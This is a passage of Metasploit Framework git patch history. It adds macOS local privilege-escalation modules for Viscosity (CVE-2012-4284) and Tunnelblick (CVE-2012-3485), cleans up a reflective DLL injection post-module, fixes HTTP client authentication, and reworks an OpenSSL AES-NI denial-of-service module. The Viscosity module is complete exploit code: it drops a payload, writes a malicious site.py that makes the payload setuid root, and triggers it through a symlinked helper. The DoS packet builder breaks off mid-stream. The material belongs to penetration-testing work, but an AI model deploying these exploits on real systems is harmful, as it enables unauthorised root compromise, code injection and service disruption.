.../exploits/osx/local/setuid_viscosity.rb | 122 ++++++++++++++++++ 1 file changed, 122 insertions(+) create mode 100644 modules/exploits/osx/local/setuid_viscosity.rb diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb new file mode 100644 index 0000000000..c068b4c3a1 --- /dev/null +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -0,0 +1,122 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/linux/priv' +require 'msf/core/exploit/exe' + + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Setuid Viscosity Exploit', + 'Description' => %q{ + This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The + vulnerability exists in the setuid ViscosityHelper, where an insufficient + validation of path names allows execution of arbitrary python code as root. + This module has been tested successfully on Viscosity 1.4.1 over Mac OS X + 10.7.5. + }, + 'References' => + [ + [ 'CVE', '2012-4284' ], + [ 'OSVDB', '84709' ], + [ 'EDB', '20485' ], + [ 'URL', 'http://blog.zx2c4.com/791' ] + ], + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jason A. Donenfeld', # Vulnerability discovery and original Exploit + 'juan vazquez' # Metasploit module + ], + 'DisclosureDate' => 'Aug 12 2012', + 'Platform' => 'osx', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell' ], + 'Targets' => + [ + [ 'Viscosity 1.4.1 / Mac OS X x86', { 'Arch' => ARCH_X86 } ], + [ 'Viscosity 1.4.1 / Mac OS X x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, + 'DefaultTarget' => 0 + })) + register_options([ + # These are not OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), + OptString.new("Viscosity", [ true, "Path to setuid nmap executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ]) + ], self.class) + end + + def check + if not file?(datastore["Viscosity"]) + print_error "ViscosityHelper not found" + return CheckCode::Safe + end + + check = session.shell_command_token("find #{datastore["Viscosity"]} -type f -user root -perm -4000") + + if check =~ /ViscosityHelper/ + return CheckCode::Vulnerable + end + + return CheckCode::Safe + end + + def clean + file_rm(@link) + file_rm(@python_file) + file_rm("#{@python_file}c") + file_rm(@exe_file) + end + + def exploit + + exe_name = rand_text_alpha(8) + @exe_file = "#{datastore["WritableDir"]}/#{exe_name}" + print_status("Dropping executable #{@exe_file}") + write_file(@exe_file, generate_payload_exe) + + evil_python = %Q{ +import os +os.setuid(0) +os.setgid(0) +os.system("chown root #{@exe_file}") +os.system("chmod 6777 #{@exe_file}") +os.execl("#{@exe_file}", "#{exe_name}") + } + @python_file = "#{datastore["WritableDir"]}/site.py" + print_status("Dropping python #{@python_file}...") + write_file(@python_file, evil_python) + + print_status("Creating symlink...") + link_name = rand_text_alpha(8) + @link = "#{datastore["WritableDir"]}/#{link_name}" + cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}" + + print_status("Running...") + begin + cmd_exec "#{@link}" + rescue + print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...") + clean + return + end + print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}") + end +end + From 81e2dbc71e5d69128e108c73cf0de2e2a70c281b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 3 Mar 2013 19:48:12 +0100 Subject: [PATCH 407/448] added module for CVE-2012-3485 --- .../exploits/osx/local/setuid_tunnelblick.rb | 121 ++++++++++++++++++ 1 file changed, 121 insertions(+) create mode 100644 modules/exploits/osx/local/setuid_tunnelblick.rb diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb new file mode 100644 index 0000000000..66db2db4d9 --- /dev/null +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -0,0 +1,121 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/exploit/exe' + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Setuid Tunnelblick Exploit', + 'Description' => %q{ + This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The + vulnerability exists in the setuid openvpnstart, where an insufficient + validation of path names allows execution of arbitrary shell scripts as root. + This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099 + over Mac OS X 10.7.5. + }, + 'References' => + [ + [ 'CVE', '2012-3485' ], + [ 'EDB', '20443' ], + [ 'URL', 'http://blog.zx2c4.com/791' ] + ], + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jason A. Donenfeld', # Vulnerability discovery and original Exploit + 'juan vazquez' # Metasploit module + ], + 'DisclosureDate' => 'Aug 11 2012', + 'Platform' => 'osx', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell' ], + 'Targets' => + [ + [ 'Tunnelblick 3.2.8 / Mac OS X x86', { 'Arch' => ARCH_X86 } ], + [ 'Tunnelblick 3.2.8 / Mac OS X x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, + 'DefaultTarget' => 0 + })) + register_options([ + # These are not OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), + OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ]) + ], self.class) + end + + def check + if not file?(datastore["Tunnelblick"]) + print_error "openvpnstart not found" + return CheckCode::Safe + end + + check = session.shell_command_token("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000") + + if check =~ /openvpnstart/ + return CheckCode::Vulnerable + end + + return CheckCode::Safe + end + + def clean + file_rm(@link) + cmd_exec("rm -rf #{datastore["WritableDir"]}/openvpn") + end + + def exploit + + print_status("Creating directory...") + cmd_exec "mkdir -p #{datastore["WritableDir"]}/openvpn/openvpn-0" + + exe_name = rand_text_alpha(8) + @exe_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/#{exe_name}" + print_status("Dropping executable #{@exe_file}") + write_file(@exe_file, generate_payload_exe) + cmd_exec "chmod +x #{@exe_file}" + + + evil_sh =< Date: Sun, 3 Mar 2013 19:52:31 +0100 Subject: [PATCH 408/448] fixed EOF --- modules/exploits/osx/local/setuid_tunnelblick.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb index 66db2db4d9..e12441c14b 100644 --- a/modules/exploits/osx/local/setuid_tunnelblick.rb +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -91,11 +91,10 @@ class Metasploit4 < Msf::Exploit::Local cmd_exec "chmod +x #{@exe_file}" - evil_sh =< Date: Sun, 3 Mar 2013 19:54:17 +0100 Subject: [PATCH 409/448] minor fixes --- modules/exploits/osx/local/setuid_viscosity.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb index c068b4c3a1..4c674f2f07 100644 --- a/modules/exploits/osx/local/setuid_viscosity.rb +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -9,10 +9,8 @@ require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' -require 'msf/core/post/linux/priv' require 'msf/core/exploit/exe' - class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking @@ -58,7 +56,7 @@ class Metasploit4 < Msf::Exploit::Local register_options([ # These are not OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), - OptString.new("Viscosity", [ true, "Path to setuid nmap executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ]) + OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ]) ], self.class) end @@ -91,14 +89,15 @@ class Metasploit4 < Msf::Exploit::Local print_status("Dropping executable #{@exe_file}") write_file(@exe_file, generate_payload_exe) - evil_python = %Q{ + evil_python =<<-EOF import os os.setuid(0) os.setgid(0) os.system("chown root #{@exe_file}") os.system("chmod 6777 #{@exe_file}") os.execl("#{@exe_file}", "#{exe_name}") - } + EOF + @python_file = "#{datastore["WritableDir"]}/site.py" print_status("Dropping python #{@python_file}...") write_file(@python_file, evil_python) From 6d811ce4b92dc45620c1bdcceca79eee0162c2e4 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 09:09:11 -0600 Subject: [PATCH 410/448] empty passwords should be allowed --- lib/rex/proto/http/client.rb | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 4a8d8108f3..3461a0067e 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -262,15 +262,9 @@ class Client if opts['username'].nil? or opts['username'] == '' if self.username and not (self.username == '') opts['username'] = self.username - else - opts['username'] = nil - end - end - - if opts['password'].nil? or opts['password'] == '' - if self.password and not (self.password == '') opts['password'] = self.password else + opts['username'] = nil opts['password'] = nil end end From 92ee4300dfe8616ff711a18796be8817c48f96a4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 4 Mar 2013 17:40:09 +0100 Subject: [PATCH 411/448] cleanup for reflective_dll_inject --- .../windows/manage/reflective_dll_inject.rb | 29 ++++++++++--------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/modules/post/windows/manage/reflective_dll_inject.rb b/modules/post/windows/manage/reflective_dll_inject.rb index ac7d447afe..7f9a39ab2e 100644 --- a/modules/post/windows/manage/reflective_dll_inject.rb +++ b/modules/post/windows/manage/reflective_dll_inject.rb @@ -12,15 +12,18 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Manage Reflective DLL Injection Module', - 'Description' => %q{ + 'Name' => 'Windows Manage Reflective DLL Injection Module', + 'Description' => %q{ This module will inject into the memory of a process a specified Reflective DLL. }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Ben Campbell '], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ] + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell '], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => + [ + [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] + ] )) register_options( @@ -49,7 +52,7 @@ class Metasploit3 < Msf::Post end end - raise "Can't find an exported ReflectiveLoader function!" if offset == 0 + raise "Can't find an exported ReflectiveLoader function!" if offset.nil? or offset == 0 rescue print_error( "Failed to read and parse Dll file: #{$!}" ) return @@ -60,7 +63,7 @@ class Metasploit3 < Msf::Post def inject_into_pid(pay, pid, offset) - if offset.nil? + if offset.nil? or offset == 0 print_error("Reflective Loader offset is nil.") return end @@ -79,19 +82,19 @@ class Metasploit3 < Msf::Post begin print_status("Opening process #{pid}") host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) - print_status("Generating payload") print_status("Allocating memory in procees #{pid}") mem = host_process.memory.allocate(pay.length + (pay.length % 1024)) # Ensure memory is set for execution host_process.memory.protect(mem) - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{pay.length} bytes") - print_status("Writing the stager into memory...") + vprint_status("Allocated memory at address #{"0x%.8x" % mem}, for #{pay.length} bytes") + print_status("Writing the payload into memory") host_process.memory.write(mem, pay) + print_status("Executing payload") host_process.thread.create(mem+offset, 0) print_good("Successfully injected payload in to process: #{pid}") rescue ::Exception => e print_error("Failed to Inject Payload to #{pid}!") - print_error(e.to_s) + vprint_error(e.to_s) end end end From 12247d47ba78d91552d48e523dec714fa805b139 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 4 Mar 2013 10:46:05 -0600 Subject: [PATCH 412/448] Rename module, sorry, no pull request. --- modules/exploits/osx/local/setuid_viscosity.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb index 4c674f2f07..c70127857e 100644 --- a/modules/exploits/osx/local/setuid_viscosity.rb +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -20,7 +20,7 @@ class Metasploit4 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, { - 'Name' => 'Setuid Viscosity Exploit', + 'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The vulnerability exists in the setuid ViscosityHelper, where an insufficient From 7fa24d9060bd83487d19089555a14aff127e7cca Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 4 Mar 2013 10:54:33 -0600 Subject: [PATCH 413/448] Module rename --- modules/exploits/osx/local/setuid_tunnelblick.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb index e12441c14b..691e167901 100644 --- a/modules/exploits/osx/local/setuid_tunnelblick.rb +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -20,7 +20,7 @@ class Metasploit4 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, { - 'Name' => 'Setuid Tunnelblick Exploit', + 'Name' => 'Setuid Tunnelblick Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The vulnerability exists in the setuid openvpnstart, where an insufficient From 6dcca7df78c6c1e2f589ed33cedbda652f14710e Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 11:24:26 -0600 Subject: [PATCH 414/448] Remove duplicated header issues Headers were getting duped back into client config, causing invalid requests to be sent out --- lib/msf/core/exploit/http/client.rb | 15 +++++---------- lib/rex/proto/http/client.rb | 1 + lib/rex/proto/http/client_request.rb | 7 ++++--- modules/auxiliary/scanner/http/http_login.rb | 7 ++++++- 4 files changed, 16 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 6769a44b9a..a156bc4e3a 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -145,6 +145,9 @@ module Exploit::Remote::HttpClient dossl = ssl end + client_username = opts['username'] || datastore['USERNAME'] || '' + client_password = opts['password'] || datastore['PASSWORD'] || '' + nclient = Rex::Proto::Http::Client.new( rhost, rport.to_i, @@ -155,8 +158,8 @@ module Exploit::Remote::HttpClient dossl, ssl_version, proxies, - datastore['USERNAME'], - datastore['PASSWORD'] + client_username, + client_password ) # Configure the HTTP client with the supplied parameter @@ -258,10 +261,6 @@ module Exploit::Remote::HttpClient def send_request_raw(opts={}, timeout = 20) begin c = connect(opts) - if opts['username'] and opts['username'] != '' - c.username = opts['username'].to_s - c.password = opts['password'].to_s - end r = c.request_raw(opts) c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) rescue ::Errno::EPIPE, ::Timeout::Error @@ -277,10 +276,6 @@ module Exploit::Remote::HttpClient def send_request_cgi(opts={}, timeout = 20) begin c = connect(opts) - if opts['username'] and opts['username'] != '' - c.username = opts['username'].to_s - c.password = opts['password'].to_s - end r = c.request_cgi(opts) c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) rescue ::Errno::EPIPE, ::Timeout::Error diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 3461a0067e..f360701556 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -158,6 +158,7 @@ class Client opts['port'] = self.port req = ClientRequest.new(opts) + req end # diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index e0cdb4946f..76a4294af1 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -21,7 +21,7 @@ class ClientRequest 'cgi' => true, 'cookie' => nil, 'data' => '', - 'headers' => {}, + 'headers' => nil, 'raw_headers' => '', 'method' => 'GET', 'path_info' => '', @@ -87,6 +87,7 @@ class ClientRequest def initialize(opts={}) @opts = DefaultConfig.merge(opts) + @opts['headers'] ||= {} end def to_s @@ -165,13 +166,13 @@ class ClientRequest # If an explicit User-Agent header is set, then use that instead of # the default - unless opts['headers'].keys.map{|x| x.downcase }.include?('user-agent') + unless opts['headers'] and opts['headers'].keys.map{|x| x.downcase }.include?('user-agent') req << set_agent_header end # Similar to user-agent, only add an automatic auth header if a # manual one hasn't been provided - unless opts['headers'].keys.map{|x| x.downcase }.include?('authorization') + unless opts['headers'] and opts['headers'].keys.map{|x| x.downcase }.include?('authorization') req << set_auth_header end diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 40446f68db..0452e583e6 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -66,6 +66,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => path, 'method' => datastore['REQUESTTYPE'], + 'username' => '', + 'password' => '' }, 10) next if not res @@ -75,6 +77,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => path, 'method' => datastore['REQUESTTYPE'], + 'username' => '', + 'password' => '' }, 10) next if not res end @@ -94,7 +98,8 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - + load "lib/rex/proto/http/client_request.rb" + if ( datastore['REQUESTTYPE'] == "PUT" ) and (datastore['AUTH_URI'] == "") print_error("You need need to set AUTH_URI when using PUT Method !") return From 71ba044d03299fc939b2ccf861cb900d830986ed Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 11:25:34 -0600 Subject: [PATCH 415/448] remove debugging aid --- modules/auxiliary/scanner/http/http_login.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 0452e583e6..13a8f2a733 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -98,8 +98,6 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - load "lib/rex/proto/http/client_request.rb" - if ( datastore['REQUESTTYPE'] == "PUT" ) and (datastore['AUTH_URI'] == "") print_error("You need need to set AUTH_URI when using PUT Method !") return From cb18b81503b4f23b465020ed63b1676599d09c1c Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 4 Mar 2013 11:59:30 -0600 Subject: [PATCH 416/448] Add spec to ensure auth is sane --- spec/lib/rex/proto/http/client_spec.rb | 49 ++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 3ddd07d6bd..77ca6c4758 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -87,6 +87,55 @@ describe Rex::Proto::Http::Client do end end + context "with credentials" do + subject(:cli) do + cli = Rex::Proto::Http::Client.new(ip) + cli + end + let(:first_response) { + "HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Basic realm=\"foo\"\r\n\r\n" + } + let(:authed_response) { + "HTTP/1.1 200 Ok\r\nContent-Length: 0\r\n\r\n" + } + let(:user) { "user" } + let(:pass) { "pass" } + + it "should not send creds on the first request in order to induce a 401" do + req = cli.request_cgi + req.to_s.should_not match("Authorization:") + end + + it "should send creds after receiving a 401" do + conn = mock + conn.stub(:put) + conn.stub(:shutdown) + conn.stub(:close) + + conn.should_receive(:get_once).and_return(first_response, authed_response) + conn.should_receive(:put) do |str_request| + str_request.should_not include("Authorization") + nil + end + conn.should_receive(:put) do |str_request| + str_request.should include("Authorization") + nil + end + + cli.should_receive(:_send_recv).twice.and_call_original + + Rex::Socket::Tcp.stub(:create).and_return(conn) + + opts = { "username" => user, "password" => pass} + req = cli.request_cgi(opts) + cli.send_recv(req) + + # Make sure it didn't modify the argument + opts.should == { "username" => user, "password" => pass} + end + + end + it "should attempt to connect to a server" do this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) expect { this_cli.connect(1) }.to raise_error ::Rex::ConnectionRefused From 867875b4454d3df903eb6d55405f273827f249eb Mon Sep 17 00:00:00 2001 From: Wolfgang Ettlinger Date: Mon, 4 Mar 2013 19:09:50 +0100 Subject: [PATCH 417/448] Beautified OpenSSL-AESNI module Modifed the CVE-2012-2686 module to follow suggestions by @jvazquez-r7: * Added description for all fields in the SSL packets * MAX_TRIES now required * use get_once instead of timeout --- modules/auxiliary/dos/ssl/openssl_aesni.rb | 166 ++++++++++++--------- 1 file changed, 98 insertions(+), 68 deletions(-) diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index d05134f4de..94ba11e470 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -17,8 +17,8 @@ class Metasploit4 < Msf::Auxiliary 'Author' => [ 'Wolfgang Ettlinger ' ], - 'License' => BSD_LICENSE, - 'References' => + 'License' => BSD_LICENSE, + 'References' => [ [ 'CVE', '2012-2686'], [ 'URL', 'https://www.openssl.org/news/secadv_20130205.txt'] @@ -28,74 +28,105 @@ class Metasploit4 < Msf::Auxiliary register_options( [ Opt::RPORT(443), - OptInt.new('MAX_TRIES', [false, "Maximum number of tries", 300]) + OptInt.new('MAX_TRIES', [true, "Maximum number of tries", 300]) ], self.class) end def run # Client Hello - p1 = - "\x16\x03\x01\x00\x7e\x01\x00\x00\x7a\x03\x02\x50\xeb\xf2\x4a\xaf"<< - "\x74\xf5\xe3\x55\x6a\xae\xcf\x88\x36\x7c\xd9\xe5\x1b\xcc\x09\xee"<< - "\x6f\x42\x30\x3b\x49\x55\xf8\xaa\x11\x32\xeb\x00\x00\x08\xc0\x13"<< - "\x00\x39\x00\x35\x00\xff\x01\x00\x00\x49\x00\x0b\x00\x04\x03\x00"<< - "\x01\x02\x00\x0a\x00\x34\x00\x32\x00\x0e\x00\x0d\x00\x19\x00\x0b"<< - "\x00\x0c\x00\x18\x00\x09\x00\x0a\x00\x16\x00\x17\x00\x08\x00\x06"<< - "\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01"<< - "\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11\x00\x23\x00\x00\x00\x0f"<< - "\x00\x01\x01" + p1 = "\x16" # Content Type: Handshake + p1 << "\x03\x01" # Version: TLS 1.0 + p1 << "\x00\x7e" # Length: 126 + p1 << "\x01" # Handshake Type: Client Hello + p1 << "\x00\x00\x7a" # Length: 122 + p1 << "\x03\x02" # Version: TLS 1.1 + p1 << ("A" * 32) # Random + p1 << "\x00" # Session ID Length: 0 + p1 << "\x00\x08" # Cypher Suites Length: 6 + p1 << "\xc0\x13" # - ECDHE-RSA-AES128-SHA + p1 << "\x00\x39" # - DHE-RSA-AES256-SHA + p1 << "\x00\x35" # - AES256-SHA + p1 << "\x00\xff" # - EMPTY_RENEGOTIATION_INFO_SCSV + p1 << "\x01" # Compression Methods Length: 1 + p1 << "\x00" # - NULL-Compression + p1 << "\x00\x49" # Extensions Length: 73 + p1 << "\x00\x0b" # - Extension: ec_point_formats + p1 << "\x00\x04" # Length: 4 + p1 << "\x03" # EC Points Format Length: 3 + p1 << "\x00" # - uncompressed + p1 << "\x01" # - ansiX962_compressed_prime + p1 << "\x02" # - ansiX962_compressed_char2 + p1 << "\x00\x0a" # - Extension: elliptic_curves + p1 << "\x00\x34" # Length: 52 + p1 << "\x00\x32" # Elliptic Curves Length: 50 + # 25 Elliptic curves: + p1 << "\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a" + p1 << "\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04" + p1 << "\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10" + p1 << "\x00\x11" + + p1 << "\x00\x23" # - Extension: SessionTicket TLS + p1 << "\x00\x00" # Length: 0 + p1 << "\x00\x0f" # - Extension: Heartbeat + p1 << "\x00\x01" # Length: 1 + p1 << "\x01" # Peer allowed to send requests + + + # Change Cipher Spec Message + p2_cssm = "\x14" # Content Type: Change Cipher Spec + p2_cssm << "\x03\x02" # Version: TLS 1.1 + p2_cssm << "\x00\x01" # Length: 1 + p2_cssm << "\x01" # Change Cipher Spec Message + + + # Encrypted Handshake Message + p2_ehm = "\x16" # Content Type: Handshake + p2_ehm << "\x03\x02" # Version: TLS 1.1 + p2_ehm << "\x00\x40" # Length: 64 + p2_ehm << ("A" * 64) # Encrypted Message + # Client Key Exchange, Change Cipher Spec, Encrypted Handshake # AES256-SHA - p2_aes_sha = - "\x16\x03\x02\x01\x06\x10\x00\x01\x02\x01\x00\x4c\xee\x18\xe2\xec"<< - "\xa9\x9d\xd7\x10\xd0\xff\x6f\xa8\x10\xf5\x9c\xa0\x91\x38\x93\x93"<< - "\xaa\x71\x07\x69\xb6\x22\x81\x2d\xcd\xe0\x8f\x95\xf2\x9b\xaa\x49"<< - "\x18\x15\x53\xc3\x34\x15\x81\xab\x20\x72\x16\x5b\xf2\xca\x13\x9e"<< - "\x11\x6e\x3c\xf5\x71\x7c\x19\xf4\x7d\x35\x71\x25\x6e\xbe\xee\xdf"<< - "\x1d\x55\xc9\x38\xac\xbb\x88\xab\xd0\x18\x7d\x5f\xaa\x3c\x91\x2f"<< - "\xd2\x64\x7c\x15\x91\xa6\xe7\xb7\x0c\x01\xb3\xc7\x37\xc1\x3a\xb2"<< - "\xde\x59\x6e\x8f\x7a\xde\x22\x59\x6c\xb7\x91\x21\x8f\xff\x56\x2c"<< - "\x5f\xfb\x54\x7f\xd1\x1a\x00\x0e\x02\xb2\x4e\x62\xfd\xe2\xc0\x8f"<< - "\x56\x52\x8a\x4c\x44\x01\x5f\x21\xf9\xd5\xb3\xeb\xab\x39\xcf\x4e"<< - "\xed\x78\xad\xea\xc7\x43\x80\x3f\xf2\x41\xbe\x5c\x83\xa5\x54\x6f"<< - "\x3c\xfb\x15\xed\x3c\x83\xf0\x3b\xd2\x7c\x5d\xf6\x82\xcb\x82\xb6"<< - "\x6a\x8e\x94\xf9\x22\x5a\x17\x20\x82\x21\x4e\x83\x01\x81\x06\x9e"<< - "\x21\xba\x16\xa4\xda\xcd\x8e\x1c\x8c\xe7\x19\x96\x2a\xec\x90\x6a"<< - "\x16\xac\x12\x68\xbd\xf7\x4b\x6c\x3c\x91\x8b\xe7\x34\x03\x91\x65"<< - "\x61\x57\xbc\x3a\x66\x3b\x7b\xb1\x57\xcd\x19\x5c\x4a\x69\x43\xb2"<< - "\x67\xaf\x38\x5c\x1a\x7e\x80\x78\x90\x25\xb8\x14\x03\x02\x00\x01"<< - "\x01\x16\x03\x02\x00\x40\x7d\xf4\x2c\x8c\x64\x74\xa5\x98\x02\x41"<< - "\xac\x97\xfd\x53\x15\x4c\xbf\x16\x08\x26\xe0\x6c\x22\x70\x5f\x36"<< - "\x75\x75\x96\xf9\x6b\x9f\xb4\xc3\x38\xa7\x14\xac\x21\x89\xec\xd6"<< - "\x37\x28\xf3\x0d\xdf\xb3\x1b\xac\x96\xf3\x16\x5c\xc3\x6b\x71\x1c"<< - "\xdb\x0d\x04\x96\x21\xd2" + p2_aes_sha = "\x16" # Content Type: Handshake + p2_aes_sha << "\x03\x02" # Version: TLS 1.1 + p2_aes_sha << "\x01\x06" # Length: 262 + p2_aes_sha << "\x10" # Handshake Type: Client Key Exchange + p2_aes_sha << "\x00\x01\x02" # Length: 258 + p2_aes_sha << "\x01\x00" # Encrypted PreMaster Length: 256 + p2_aes_sha << ("\x00" * 256) # Encrypted PresMaster (irrelevant) + p2_aes_sha << p2_cssm # Change Cipher Spec Message + p2_aes_sha << p2_ehm # Encrypted Handshake Message + # DHE-RSA-AES256-SHA - p2_dhe_rsa_aes256_sha = - "\x16\x03\x02\x00\x46\x10\x00\x00\x42\x00\x40\x43\xaf\x48\x16\x8d"<< - "\x17\xb9\xb0\xb6\xbc\x68\xab\x99\xf9\x30\xc9\xb1\xa2\x3b\x4f\x79"<< - "\xaa\x76\x5c\x0d\x61\xa0\x19\x55\x11\x20\xe8\xbb\xab\x69\xf3\xeb"<< - "\xff\x81\x1d\x16\x0d\x03\xaf\xb9\x70\xae\x72\x5c\xd8\xc7\x28\x2c"<< - "\xac\xd5\x84\x2c\xaf\x2a\x57\x46\x71\xca\x73\x14\x03\x02\x00\x01"<< - 